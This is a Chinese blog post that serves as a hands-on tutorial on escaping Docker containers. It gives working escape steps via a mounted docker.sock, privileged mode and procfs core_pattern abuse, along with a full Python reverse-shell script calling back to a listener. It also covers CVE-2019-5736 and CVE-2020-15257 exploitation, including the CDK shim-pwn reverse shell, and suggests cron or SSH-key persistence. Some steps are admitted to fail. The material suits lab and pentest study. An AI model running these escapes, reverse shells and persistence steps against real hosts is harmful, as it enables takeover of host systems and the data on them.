首页 > 其他分享 >云上攻防:云原生篇&Docker容器逃逸

云上攻防:云原生篇&Docker容器逃逸

时间:2024-09-12 14:53:59浏览次数:15  
标签:攻防 容器 宿主机 ce 逃逸 Docker 云上 docker

什么是Docker

Docker简而言之就是一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

Docker技术对于渗透测试的影响

docker环境对于渗透测试的影响就是攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

这时候就有一个衍生技术docker逃逸,Docker容器逃逸是指攻击者突破容器的隔离机制,获取底层主机系统的控制权,类似于以前听过较多的虚拟机逃逸

容器逃逸方法总结

在开始之前对于容器逃逸主要有以下三种方法:

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

判断是否为容器环境

当拿到shell权限,看到数字和字母随机生成的主机名大概率猜到在容器里了,查看进程,进程数很少,PID为1的进程为业务进程,这也是容器环境的典型特征。当然,以上这两种都是比较主观的判断。

可参考文章判断方法:如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客

这里列举一个判断方法,在高权限情况下执行命令

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

不安全启动导致逃逸测试

(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)

1、特权模式

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

#2、挂载 Docker Socket

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载

#3、挂载 procfs

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载

#4、挂载宿主机根目录

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载

#5、Docker remote api 未授权访问

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问

容器逃逸检测脚本

项目地址:https://github.com/teamssix/container-escape-check

直接在容器中执行以下命令即可

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash

挂载 Docker Socket 逃逸

Docker Socket 用来与守护进程通信即查询信息或者下发命令。

Socket 逃逸简单来说就挂载 Docker Socket 逃逸是通过在容器内挂载宿主机的 /var/run/docker.sock 文件,利用 Docker 守护进程的权限,从而在宿主机上创建和运行新的容器,实现从容器到宿主机的权限逃逸。

#拉去环境
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
#进入环境
docker exec -it with_docker_sock /bin/bash
#检测环境
ls -lah /var/run/docker.sock

最近dockerhub已经不能访问了,使用原先的方式安装docker,服务器上也总是连接不上,感觉实战中还是因为白名单网站的缘故最好的方法还是建议先尝试访问官方网站自动化安装
这里提供几个方法尝试避免网络问题导致下载失败的问题

# 更新软件包索引
sudo apt-get update
 
# 安装需要的软件包以使apt能够通过HTTPS使用仓库
sudo apt-get install ca-certificates curl gnupg lsb-release

#官方安装程序
curl -fsSL https://get.docker.com/| sh	

#使用--mirror参数来指定镜像源
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

# 验证是否成功安装了docker
systemctl status docker
docker --version

# 添加阿里云官方GPG密钥
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
 
# 写入阿里云Docker仓库地址
sh -c 'echo "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable" > /etc/apt/sources.list.d/docker.list
或使用清华大学源
# 添加Docker官方的GPG密钥
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
 
# 设置稳定版仓库
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

更新源并安装Docker

apt-get update
apt-get install docker-ce docker-ce-cli containerd.io

# 验证是否成功安装了docker
systemctl status docker
docker --version

实在还是没法安装可以本机下载然后传输到目标主机,就是流量太大容易

wget -q https://get.docker.com/ -O get-docker.sh
sh get-docker.sh

容器内成功安装好docker后在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
chroot /host

逃逸成功

root@e51f4a967c75:/# docker --version
Docker version 27.2.0, build 3ab4256
root@e51f4a967c75:/# docker run -it -v /:/host ubuntu /bin/bash
root@0e2481d99793:/# chroot /host
# ls
bin   dev  home  lib32	libx32	    media  opt	 root  sbin  srv       sys  usr
boot  etc  lib	 lib64	lost+found  mnt    proc  run   snap  swap.img  tmp  var
# ls root
1.sh  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  burp2024  docker-compose  snap
# 

本机root目录

成功将本机目录挂载到新的容器内部

成功后chroot /test 切换后和打redis一样,定时任务反弹shell或者ssh传公钥

Privileged 特权模式容器逃逸

特权模式容器逃逸指的是在容器以特权模式(--privileged)运行时,容器内的进程能够获取宿主机上的root权限,从而可以执行如挂载文件系统、访问所有设备等操作,攻击者可能利用这种特权访问宿主机系统,实现从容器到宿主机的逃逸。特权模式下,容器内的root用户拥有等同于宿主机root用户的权限,这使得逃逸变得相对容易。

以特权模式进入一个环境

docker run --rm --privileged=true -it alpine
#检测是否为docker环境
/ # ls -al /
total 64
drwxr-xr-x    1 root     root          4096 Sep  3 08:54 .
drwxr-xr-x    1 root     root          4096 Sep  3 08:54 ..
-rwxr-xr-x    1 root     root             0 Sep  3 08:54 .dockerenv
#判断当前是否为特权模式
cat /proc/self/status | grep CapEff

成功逃逸

挂载宿主机procfs逃逸

将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs

root@1b4722987fd1:/tmp# find / -name core_pattern
/proc/sys/kernel/core_pattern			#容器本身procfs
/host/proc/sys/kernel/core_pattern	#宿主机procfs

找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
#将work目录变成merged目录就是容器所在宿主机的绝对路径
workdir=/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/

创建反弹shell脚本

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "192.168.0.21"
lport = 8848
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

赋予执行权限 chmod 777 /tmp/.x.py

写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件

echo -e "|/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。

  • core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
  • 默认情况下,这个文件可能只包含一个单词 core,表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
  • 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如,可以设置路径和文件名,甚至可以指定一个处理核心转储的程序。
  • 上述解释就是我们要将反弹shell文件路径写入core_pattern 中写入引起docker崩溃的文件,诱导系统加载core_pattern 文件

安装vim以及gcc (实战建议找同内核的机器编译好传上去)

apt-get update -y && apt-get install vim gcc -y

写入崩溃文件

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

编译好执行

gcc x.c -o x
./x

另一台机器开启监听

nc -lvvp 8848

云原生-Docker安全-容器逃逸&版本漏洞

CVE-2019-5736 runc容器逃逸

  • 复现建议:复现之前做好快照,因为复现过程中会破坏docker环境。
  • 漏洞影响版本:docker version <=18.09.2 RunC version <=1.0-rc6

下载特定版本清华大学镜像站点历史包,这里依赖难解决

# 下载特定版本的 Docker CE `.deb` 包
wget https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb

# 安装 `.deb` 包
dpkg -i docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb

# 解决依赖问题
apt-get install -f

或centos用阿里的源

# 更新系统并安装必要的依赖项
sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2

# 添加阿里云的 Docker 仓库
sudo vi /etc/yum.repos.d/docker-ce.repo
# 添加以下内容:
[docker-ce-stable]
name=Docker CE Stable - $basearch
baseurl=https://mirrors.aliyun.com/docker-ce/linux/centos/7/$basearch/stable
enabled=1
gpgcheck=1
gpgkey=https://mirrors.aliyun.com/docker-ce/linux/centos/gpg

# 列出可用的 Docker 版本
yum list docker-ce --showduplicates | sort -r

# 安装特定版本的 Docker
sudo yum install docker-ce-18.06.1.ce-3.el7

# 启动并启用 Docker
sudo systemctl start docker
sudo systemctl enable docker

# 删除现有版本的 runC
sudo yum remove -y runc

# 使用清华大学开源软件镜像站下载 runC
curl -L -o /usr/bin/runc https://mirrors.tuna.tsinghua.edu.cn/github-release/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64

sudo 从  

# 验证 Docker 版本
docker --version

# 验证 runC 版本
runc --version

POC下载地址CVE-2019-5736-PoC

对main.go文件内容进行修改

使用go环境编译好后上传至目标

由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
上传之后赋予POC执行权限。

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
#复制至虚拟机运行
docker cp main xxxx:/
chmod 777 main 
./main

执行完POC后看到successfully我们需要模拟管理员重新进入容器才能成功执行

[root@hello ~]# docker exec -it fc03 /bin/bash
No help topic for '/bin/bash'

成功逃逸

CVE-2020-15257 containerd逃逸

  • 漏洞影响版本:

containerd < 1.4.3
containerd < 1.3.9
这里使用阿里云的源安装对应漏洞版本的Docker

sudo apt-get update
sudo apt-get install -y ca-certificates curl software-properties-common

curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

sudo add-apt-repository "deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu bionic stable"

sudo apt-get update

apt-cache madison docker-ce

sudo apt-get install -y docker-ce=5:19.03.6~3-0~ubuntu-bionic docker-ce-cli=5:19.03.6~3-0~ubuntu-bionic containerd.io=1.2.4-1

用root用户以共享主机网络的方式启动容器--net=host

docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash

将自动化CDK复制到容器运行

docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64

尝试自动化检测漏洞

./cdk_linux_amd64 auto-escape id
#
./cdk_linux_amd64 run shim-pwn reverse 192.168.0.24 8888   #反弹shell

这里按照网上的方法一直复现不成功,尝试换了很多环境,怀疑是用的官方仓库缺少了一些组件,这里就等有空成功研究完复现了再补上

#所需版本 docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

这里用自动化脚本测试特权模式成功

自动挂载成功

标签:攻防,容器,宿主机,ce,逃逸,Docker,云上,docker
From: https://blog.csdn.net/weixin_46461268/article/details/142175651

相关文章

  • 一文总览 CES 升级新特性,全面了解云上的资源使用
    1.简介云监控服务(CES)为用户提供一个针对弹性云服务器、带宽等资源的立体化监控平台,涵盖云基础设施、高阶服务、外网网络质量监控,是基于主机监控、云服务监控、事件监控、日志监控、站点监控于一体的全面、高效的监控服务。使用云监控服务使您全面了解云上的资源使用情况、业务的......
  • Docker脚本一键打包java镜像运行备份多端口共存
    效果./docker_build.sh8081后会创建一个新的8081端口容器,并创建一个8081镜像,并备份之前的镜像可以启用多个端口 结构  DockerFile#FROM#基础镜像,当前新镜像是基于哪个镜像的#MAINTAINER#镜像维护者的姓名混合邮箱地址#RUN#容器构建时需......
  • idea中的docker部署配置
    注意:确认本地已安装docker环境第一步:idea安装docker插件:设置-插件-docker第二步:配置Dockerfile文件FROMharbor.chint.com/wz-build-env-public/openjdk:17ASbase#项目的端口,内部服务端口EXPOSE8808#切换到容器内部的/workdir目录WORKDIR/workdir#添加要运行......
  • Dockerfile 实战指南:轻松掌握容器化部署!
    Dockerfile非常重要,在实际工作中,使用Docker绝不是敲敲一些常用命令即可。Dockerfile几乎贯穿微服务的全部内容,务必掌握。不要求能从头开始编写Dockerfile,至少如果有个Dockerfile的模板,我们能够修改。‍概述Dockerfile是用来构建Docker镜像的文本文件,是由一条条构建......
  • 常见的网络攻防技术(通俗易懂)
    前言提示:文章同样适用于非专业的朋友们,全文通俗化表达,一定能找到你亲身经历过的网络攻击(建议大家认真看完,这篇文章会刷新你对网络攻防的认知)前言在世界人口近80亿的地球上,每天尚且发生数以百万计的抢劫打架斗殴事件,网络更是如此,网络攻防战几乎每时每刻都在发生。如果说......
  • Docker Desktop 启动失败:Docker failed to initialize
    docker启动报错解决方案:删除 C:\Users\Administrator\AppData\Roaming\Docker文件夹文件夹删除后,会弹出下面的窗口,点击“OK”:点击“OK”后会可能会弹出下面的窗口,点击“Start”点击“Start”后,会进入DockerDesktop的启动向导窗口,依次点击“Start”->“NextStep” -......
  • Docker 可视化工具
    1.PortainerPortainer是一个可视化的容器镜像的图形管理工具,利用Portainer可以轻松构建,管理和维护Docker环境。而且完全免费,基于容器化的安装方式,方便高效部署。官方站点:https://www.portainer.io/ 2.DockerUI DockerUI是一款开源的、强大的、轻量级的Docker管理工具......
  • Kubernetes为什么移出默认Docker
    • K8s核心代码优化•Docker内部调用链比较复杂,多层封装和调用,导致性能降低、提升故障率、不易排查•Docker还会在宿主机创建网络规则、存储卷,也带来了安全隐患故而可以使用cri-docker继续使用docker,或者使用别的容器运行时。例如:•containerd:containerd与Docker相兼容,相......
  • 在线编程实现!如何在Java后端通过DockerClient操作Docker生成python环境
    目录在线编程实现!如何在Java后端通过DockerClient操作Docker生成python环境一、为什么要用后端程序操作Docker二、安装Docker1、安装Docker2、启动Docker三、DockerClient与CMD操作Docker的区别四、干货!如何使用DockerClient实现在线编程1、前置工作①引入并安装依赖......
  • docker怎么进入bash
    环境centos7.9,docker25.0.3要进入Docker容器的Bashshell,首先需要确保容器正在运行,并且通过查询知道容器的名称或ID进入bash方法查找正在运行的容器:首先,列出所有正在运行的容器,以找到你想要进入的容器的名称或ID。dockerps使用dockerexec命令进入容器:使用dockerexec命令加上-i......